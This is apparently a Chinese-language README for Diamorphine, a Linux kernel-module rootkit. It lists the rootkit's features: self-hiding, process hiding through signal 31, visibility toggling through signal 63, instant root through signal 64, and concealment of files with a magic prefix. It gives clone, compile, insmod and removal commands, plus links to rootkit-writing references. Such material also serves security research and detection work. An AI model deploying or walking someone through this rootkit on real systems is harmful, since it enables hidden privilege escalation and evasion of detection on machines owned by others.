Diamorphine 是一个适用于 Linux 内核 2.6.x-7.x(x86/x86_64 和 ARM/ARM64)的 LKM rootkit
加载后,模块会变为不可见;
通过发送信号 31 隐藏/取消隐藏任意进程;
发送信号 63(发送给任意 pid)可使模块变为(不)可见;
发送信号 64(发送给任意 pid)可使指定用户成为 root;
以 MAGIC_PREFIX 开头的文件或目录会变为不可见;
确认内核是否为 2.6.x/3.x/4.x/5.x/6.x
uname -r
克隆仓库
git clone https://github.com/m0nad/Diamorphine
进入文件夹
cd Diamorphine
编译
make
加载模块(以 root 身份)
insmod diamorphine.ko
模块加载后即不可见,要移除它需要先使其可见
kill -63 0
然后移除模块(以 root 身份)
rmmod diamorphine
Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit
Linux Device Drivers http://lwn.net/Kernel/LDD3/
LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html
Memset 的博客 http://memset.wordpress.com/
Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html
WRITING A SIMPLE ROOTKIT FOR LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
Linux Cross Reference http://lxr.free-electrons.com/
zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/
Linux Rootkits: New Methods for Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/
FlipSwitch: a Novel Syscall Hooking Technique https://www.elastic.co/security-labs/flipswitch-linux-rootkit